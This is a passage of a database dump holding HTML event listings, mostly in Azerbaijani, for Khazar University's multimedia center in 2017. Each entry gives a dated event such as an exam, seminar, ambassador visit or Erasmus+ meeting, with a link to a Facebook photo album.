href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1580294031980996\">FOTO</a>)</div></div><div>15.05.2017 GR&amp;Club sirketinin seminari secme (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1580258841984515\">FOTO</a>)</div></div><div>13.05.2017 TedX Khazar University (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1580233601987039\">FOTO</a>)</div></div><div>11.05.2017 The changing of land use for using GİS təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1575962139080852\">FOTO</a>)</div></div><div><div>08.05.2017 Yeddi gözəl (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1575921255751607\">FOTO</a>)</div></div><div><div>10.05.2017 Polşa səfirliyi ilə görüş və Nəsiman müəllimin dərsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1575757159101350\">FOTO</a>)</div></div><div><div>10.05.2017 Hamlet İsaxanlı Polşa səfiriynən görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1575740169103049\">FOTO</a>)</div></div><div><div>10.05.2017 AB və Azərbaycan münasibətləri haqqında konfrans (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1575031129173953\">FOTO</a>)</div></div><div>10.05.2017 Hasan Niknafsın Polşa səfiri ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1574841309192935\">FOTO</a>)&nbsp;</div></div><div><div>07.05.2017 42-ci Buraxılış&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1573022202708179\">FOTO</a>)&nbsp;</div></div><div><div>06.05.2017 ``Olduğu kimi görünən insan`` kitabının təqdimatı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1572892399387826\">FOTO</a>)&nbsp;</div></div><div><div>05.05.2017 ``İnkişaf zamanı`` adlı təlim&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1569524936391239\">FOTO</a>)&nbsp;</div></div><div><div>05.05.2017 Xəzərdə açıq qapı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1569478996395833\">FOTO</a>)&nbsp;</div></div><div><div>05.04.2017 Norm Cement&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1569411916402541\">FOTO</a>)&nbsp;</div></div><div><div>04.05.2017 Video Blogger Hüseyn Azizoğlu ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1568490639828002\">FOTO</a>)&nbsp;</div></div><div><div>04.05.2017 Misirin Təhsil Nazirinin Hamlet müəllimlə görüşü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1568420266501706\">FOTO</a>)&nbsp;</div></div><div><div>02.05.2017 İran Mədəniyyyət Mərkəzinin nümayəndələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1565856456758087\">FOTO</a>)</div></div><div>02.05.2017 Hamlet müəllimin İğdır Univərsitəsinin rektoru ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1565846910092375\">FOTO</a>)</div>'),(3246,1911,'en','May','May',''),(3247,1920,'en','Mevlana Exchange Programme is NOW OPEN.','Follow the link below for more information about eligibility and...','<p>Follow the link below for more\r\ninformation about eligibility and required documents:</p>\r\n<p><a href=\"http://www.khazar.org/en/menus/492/mevlana_exchange_programme\">http://www.khazar.org/en/menus/492/mevlana_exchange_programme</a>\r\n</p><p>DEADLINE: February 23, 2017 (17:00)  <br></p>'),(3248,1912,'en','June','June',''),(3249,1912,'az','Iyun','Iyun','<div><div><div>29.06.2017 Tələbə Elmi Cəmiyyəti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1634635449880187\">FOTO</a>)</div></div><div><div>29.06.2017 Avrasiya Bilik Mərkəzinin seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1633314260012306\">FOTO</a>)</div></div><div><div>22.06.2017 Erasmus Plus \'\'Nizami\'\' layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1625047824172283\">FOTO</a>)</div></div><div><div>20.06.2017 Dizayn və Mədəniyyət departametinin yaradıcılıq günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1622672267743172\">FOTO</a>)</div></div><div><div>20.06.2017 İngilis dili departamenti magist müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1622417991101933\">FOTO</a>)</div></div><div><div>20.06.2017ingilis dili departamenti magist müdafiəsi</div></div><div><div>16.06.2017 Acıq qapı Kainat tədris mərkəzi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1617914774885588\">FOTO</a>)</div></div><div><div>14.06.2017 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1615510571792675\">FOTO</a>)</div></div><div><div>13.06.2017 Potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1614360011907731\">FOTO</a>)</div></div><div><div>13.06.2017 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1614308055246260\">FOTO</a>)</div></div><div><div>12.06.2017 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1613231085353957\">FOTO</a>)</div></div><div><div>08.06.2017 Sevda Rəhimova yaradıcılıq gecəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1609413195735746\">FOTO</a>)</div></div><div><div>09.06.2017 Xəzər Universitetində Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1609398549070544\">FOTO</a>)</div></div><div>08.06.2017 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1608194742524258\">FOTO</a>)</div></div><div><div>07.06.2017 Final İmtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1608045182539214\">FOTO</a>)</div></div><div><div>07.06.2017 Final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1606824055994660\">FOTO</a>)</div></div><div><div>06.06.2017 Firəngiz Nəsirova (ad günü) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1605778846099181\">FOTO</a>)</div></div><div><div>06.06.2017 Final İmtahanları (FOTOLAR: <a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1605622579448141\">1</a><a href=\"http://06.06.2017 Final İmtahanları\"></a>&nbsp; ;&nbsp;<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1605655232778209\"> 2</a>&nbsp; &nbsp;;&nbsp; <a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1605655232778209\">3</a> )&nbsp;</div></div><div><div>05.06.2017 Final İmtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1605601822783550\">FOTO</a>)</div></div><div><div>05.06.2017 Firəngiz xanımın ad günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1604555106221555\">FOTO</a>)</div></div><div><div>02.06.2017 Final İmtahanı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1600933173250415\">FOTO</a>)</div></div><div><div>01.06.2017 Məntiq yarışması (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1600792043264528\">FOTO</a>)</div></div><div><div>02.06.2017 Açıq qapı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1600788866598179\">FOTO</a>)</div></div><div>02.06.2017 Dr.Heather D.Dehaan Xəzərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1600788366598229\">FOTO</a>)</div>'),(3250,1913,'en','July','July',''),(3251,1913,'az','Iyul','Iyul','<div><div>17.07.2017 PETRA Kick off Meeting (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1654460127897719\">FOTO</a>)</div></div><div><div>07.07.2017 Potensial direktorlar 7-ci buraxılış (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1646459575364441\">FOTO</a>)</div></div><div><div>29.07.2017Avrasiya Bilik Mərkəzinin təlimləri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1642720845738314\">FOTO</a>)</div></div><div><div>06.07.2017 Elmi Şura (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1641768942500171\">FOTO</a>)</div></div><div><div>06.07.2017 Hamlet İsaxanlının İsveçrə Səfiri ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1641788782498187\">FOTO</a>)</div></div><div><div>01.07.2017 Media Zabitlər bağında (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1640549992622066\">FOTO</a>)</div></div><div><div>29.05.2017 Media merkezi Qala Qoruğuna seyaheti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1639374146072984\">FOTO</a>)</div></div><div><div>02.07.2017 Media Mərkəzi gözündə Zabitlər bağının həyatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1638221236188275\">FOTO</a>)</div></div><div><div>03.07.2017 Erasmus Plus - Hasan Niknafs ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1638133946197004\">FOTO</a>)</div></div><div><div>03.07.2017 Erasmus Plus ` Miqrasiya təhsilinin təşviqi` (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1638132262863839\">FOTO</a>)</div></div><div>03.07.2017 Avrasiya Bilik Mərkəzinin təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1638106996199699\">FOTO</a>)</div>'),(3252,1914,'az','Avqust','Avqust',''),(3253,1914,'en','August','August',''),(3254,1915,'az','Sentyabr','Sentyabr','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>30.09.2017 I kurslarla TM -in&nbsp;görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1732834560060275\">FOTO</a>)</div></div><div>28.09.2017 Elmi Şura (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1729219730421758\">FOTO</a>)</div></div><div>28.09.2017 Baki İdman Sarayında Kitab yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1729198997090498\">FOTO</a>)</div></div><div><div>27.09.2017- Ad günü -&nbsp;Lamiyə təbrik edirik&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1728307500512981\">FOTO</a>)</div></div><div><div>27.09.2017 Magistratura müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1728246793852385\">FOTO</a>)</div></div><div><div>26.09.2017 Məzunluğa hazırlıq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1728226317187766\">FOTO</a>)</div></div><div><div>26.09.2017 Psixologiya - Magistr müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1727430557267342\">FOTO</a>)</div></div><div>22.09.2017 Erasmus. Yanardağ, Atəşgah (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1726489737361424\">FOTO</a>)</div></div><div>22.09.2017 Seminar Journal Club (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1723734110970320\">FOTO</a>)</div></div><div>21.09.2017 Erasmus+ (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1722576941086037\">FOTO</a>)</div></div><div>20.09.2017 Uzeyir Hacibeyli İX beynelxalq musiqi festivali (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1722559554421109\">FOTO</a>)</div></div><div>20.09.2017 9-cu Beynalxaq musiqi festivali Solis UNESCO -nun (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1723570040986727\">FOTO</a>)</div></div><div>20.09.2017 IX Beynəlxalq musiqi festivalı Solis UNESCO -nun (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1723657027644695\">FOTO</a>)</div></div><div>19.09.2017 Potensial Direktorlar - Buraxılış (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1721586011185130\">FOTO</a>)</div></div><div>19.07.2017 \'Introduction to İllumina Next Generation Sequencing\'&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1720681181275613\">FOTO</a>)</div></div><div>15.09.2017 Tarix kafedrasının birinci kurslarla görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1716704141673317\">FOTO</a>)</div></div><div>15.09.2017 Coğrafiya kafedrasının birinci kurslarla görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1716703198340078\">FOTO</a>)</div></div><div>15.09.2017 Yeni tədris ili:&nbsp;2017-2018 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1716723291671402\">FOTO</a>)</div></div><div>14.09.2017 İşçilər üçün peşə təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1715994181744313\">FOTO</a>)</div></div><div>2017-2018 Təhsil İlinə&nbsp;hazırlıq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1714813385195726\">FOTO</a>)</div></div><div>12.09.2017&nbsp;Sevinc, Aziza, Azər, Tərlan Təbrik edirik (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1714069508603447\">FOTO</a>)</div></div><div>11.09.2017 Potensial direktorlar 8 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1714067218603676\">FOTO</a>)</div></div><div>09.09.2017 Avropa Insan Hüquqları Konvensiyasının təhlili (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1711172672226464\">FOTO</a>)</div>'),(3255,1915,'en','September','September',''),(3256,1916,'az','Oktyabr','Oktyabr','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>31.10.2017 İslam fəlsəfəsində elm-din münasibətləri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1762125250464539\">FOTO</a>)</div></div><div><div>31.10.2017 Stresslə başaçıxma yolları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1762079473802450\">FOTO</a>)</div></div><div><div>31.10.2017 \"Kitabxana Informasiya Mərkəzinin\" istifadə qaydaları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1762045807139150\">FOTO</a>)</div></div><div>31.10.2017 AESOP adlı Erasmus + layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1762028543807543\">FOTO</a>)</div></div><div>31.10.2017 AESOP adlı Erasmus + layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1761961700480894\">FOTO</a>)</div></div><div>30.10.2017 StartUp müsabiqəsi. Presentasiyalar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1761231143887283\">FOTO</a>)</div></div><div><div>27.10.2017&nbsp;&nbsp;AESOP Erasmus+ layihəsi və Əlilliyi olan tələbələr üçün Mərkəz haqqında seminar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1757847780892286\">FOTO</a>)</div></div><div><div>26.10.2017 Hamlet İ. Ada universitetində Yaponiya səfiri ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1757726640904400\">FOTO</a>)</div></div><div><div>26.10.2017 Rektor Hassan Niknafsin Humanitar fakultəsi ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1757723370904727\">FOTO</a>)</div></div><div><div>26.10.2017 Fidan Hacıyevanın Ulduzları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1757719147571816\">FOTO</a>)</div></div><div><div>25.10.2017 Əcnəbi tələbələrin Rektor ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1755838644426533\">FOTO</a>)</div></div><div><div>24.10.2017 Vurğun Müəllimin Yubileyini Təbrik Edirik (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1754813174529080\">FOTO</a>)</div></div><div><div>24.10.2017 Arxeoloq Andreas Schachner ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1754701367873594https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1754701367873594\">FOTO</a>)</div></div><div><div>23.10.2017 Topoqrof-rəssam Vəfa Əhmədova ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1753736141303450\">FOTO</a>)</div></div><div>20.10.2017 Müstəqillik gününə həsr olunmuş bilik yarışı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1750743848269346\">FOTO</a>)</div></div><div>20.10.2017 \'Kitabxana İnformasiya Mərkəzinin istifadə qaydaları\' (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1750551898288541\">FOTO</a>)</div></div><div>19.10.2017 İlk Məzunların görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1750434661633598\">FOTO</a>)</div></div><div><div>19.10.2017 Doktorantura və Magistratura birliyinin iclası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1749655538378177\">FOTO</a>)</div></div><div><div>19.10.2017 Magistratura və doktarantura tələbələri üçün seminar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1749486455061752\">FOTO</a>)</div></div><div>17.10.2017 Romans müsabiqəsi qaliblərinin mükafatlandırılması (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1749461225064275\">FOTO</a>)</div></div><div>18.10.2017 Ad günü-&nbsp;İsməti təbrik edirik (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1748601671816897\">FOTO</a>)</div></div><div>17.10.2017 Kainat Tədris Mərkəzinin Tələbələrlə Görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1747738821903182\">FOTO</a>)</div></div><div><div><div>15.10.2017 43 cü Buraxılış (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1746808438662887\">FOTO</a>)</div></div><div><div>12.10.2017 Potensial direktorlar 8 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1742921362384928\">FOTO</a>)</div></div><div><div>12.10.2017 Türk tələbələri Xəzərin dərslərində (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1742701215740276\">FOTO</a>)</div></div><div><div>12.10.2017 Tələbələrin Fövqaladə Hallar Nazirliyi işçiləri ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1742699639073767\">FOTO</a>)</div></div><div><div>11.10.2017 Türk tələbələri Xəzərin dərslərində (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1741940555816342\">FOTO</a>)</div></div><div>11.10.2017 Technical Assistance Mission - Təlim-Annika Sundback (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1741926802484384\">FOTO</a>)</div></div><div><div>10.10.2017 Misir Mədəniyyət Mərkəzində Tarix tələbələri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1741919752485089\">FOTO</a>)</div></div><div><div>11.10.2017- Ad günü -&nbsp;Rüfət təbrik edirik (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1741852639158467\">FOTO</a>)</div></div><div><div><div>11.10.2017 Technical Assistance Mission - Təlim- Annika Sundback (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1741829979160733\">FOTO</a>)</div></div><div>10.10.2017 Technical Assistance Mission - Təlim (Annika Sundback) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1740918882585176\">FOTO</a>)</div></div><div><div>10.10.2017 Prof.Dr.Krishna tərəfindən Xoşbəxtliyin kəşfi seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1740998722577192\">FOTO</a>)</div></div><div>10.10.2017 Kitabxana İnformasiya Mərkəzinin Təqdimatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1740982855912112\">FOTO</a>)</div></div><div>10.10.2017 1-ci kurslar Hüseyn Cavid muzeyində (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1740848299258901\">FOTO</a>)</div></div><div>10.10.2017 Türk tələbələri Xəzərin dərslərində (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1740797502597314\">FOTO</a>)</div></div><div>07.10.2017 Universitetlər&nbsp;arası&nbsp;\"Robotics\" olimpiadası- I yer (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1739841416026256\">FOTO</a>)</div></div><div>04.10.2017 Kitab Sərgisi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1734947259849005\">FOTO</a>)</div>'),(3257,1916,'en','October','October',''),(3258,1917,'az','Noyabr','Noyabr','<div><div><div><div><div><div><div><div style=\"text-align:left\"><div><div style=\"font-size:large\"><span style=\"color:#1d2129;font-family:Helvetica, Arial, sans-serif;text-align:center;background-color:#ffffff\"><div></div><div style=\"text-align:left\"><div><div><div><div><div><div><div><div><div>30.11.2017 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1795565700453827\">FOTO</a>)</div></div><div><div>30.11.2017 Dünya Məktəbi. Kimya laboratoriyası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1795544520455945\">FOTO</a>)</div></div><div>30.11.2017 Əlillər Günü Münasibətilə Tədbir (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1795527790457618\">FOTO</a>)</div></div><div>29.11.2017 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1794293710581026\">FOTO</a>)</div></div><div>29.11.2017 STP nümayendeleri ile görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1794264037250660\">FOTO</a>)</div></div><div>28.11.2017 \"MultiMedia Mərkəzi\" Yeni ilə hazırlaşır (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1793001887376875\">FOTO</a>)</div></div><div>28.11.2017 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1792934410716956\">FOTO</a>)</div></div><div>27.11.2017&nbsp;Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1791641087512955\">FOTO</a>)<br></div><div>27.11.2017 Eurasia HUB&nbsp; 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(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1787435637933500\">FOTO</a>)<br></div><div>23.11.2017 Dr.Farzad Salahshour (Ph.D)- Research Mothodology&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1787386761271721\">FOTO</a>)<br></div><div>23.11.2017&nbsp;&nbsp;Applied linguistics Dr. Farzad Salahsour (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1787250311285366\">FOTO</a>)</div></div><div>22.11.2017 Malaziya UniMap Universitetinin nümayəndə heyəti ilə tədbir&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1786242944719436\">FOTO</a>)<br></div><div><div>20.11.2017 Midterm İmtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1784379618239102\">FOTO</a>)</div></div><div><div>17.11.2017 Fələstin səfiri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1781032098573854\">FOTO</a>)</div></div><div><div>17.11.2017 Fələstin səfiri ilə Rektorun görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1780993488577715\">FOTO</a>)</div></div><div>17.11.2017 Midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1780990938577970\">FOTO</a>)</div></div></span></div><div style=\"font-size:large\"><span style=\"color:#1d2129;font-family:Helvetica, Arial, sans-serif;text-align:center;background-color:#ffffff\">16.11.2017 Midterm İmtahanları (</span><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1779609278716136\" style=\"font-family:Helvetica, Arial, sans-serif;text-align:center;background-color:#ffffff\">FOTO</a><span style=\"color:#1d2129;font-family:Helvetica, Arial, sans-serif;text-align:center;background-color:#ffffff\"></span></div><div style=\"text-align:left\">16.11.2017 STARTUP layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1779597638717300\">FOTO</a>)</div></div><div style=\"text-align:left\"><div>16.11.2017 Session on IELTS (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1779534885390242\">FOTO</a>)</div></div><div style=\"text-align:left\"><div>16.11.2017 Education USA (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1779533528723711\">FOTO</a>)</div></div><div style=\"text-align:left\"><div>15.11.2017 Midterm İmtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1778414958835568\">FOTO</a>)</div></div><div style=\"text-align:left\">14.11.2017 midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1777404885603242\">FOTO</a>)</div></div><div style=\"text-align:left\">11.13.2017&nbsp;Tələbələrin Ombudsman vəzifəsi ilə hüquqi bazasının yaradılması&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1776391402371257\">FOTO</a>)<br></div><div style=\"text-align:left\">13.11.2017 Midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1776318505711880\">FOTO</a>)</div></div><div style=\"text-align:left\">10.11.2017 Xəzərdə imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1772948016048929\">FOTO</a>)<br></div><div style=\"text-align:left\">07.11.2017 \"Midterm\" imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=albums\">FOTO</a>)</div></div><div style=\"text-align:left\">06.11.2017 \"Midterm\" imtahnanlari (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1768827256461005\">FOTO</a>)</div></div><div style=\"text-align:left\">04.11.2017 Сəmilə Bayramovanın 60 yaş yubileyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1768768043133593\">FOTO</a>)</div></div><div style=\"text-align:left\">03.11.2017 Dünya tək sağlamlıq günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1765389453471452\">FOTO</a>)</div></div><div style=\"text-align:left\">03.11.2017 Dünya tək sağlamlıq günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1765333973477000\">FOTO</a>)</div></div><div style=\"text-align:left\">02.11.2017 Əlilliyi olan tələbələr üçün Mərkəz (<a 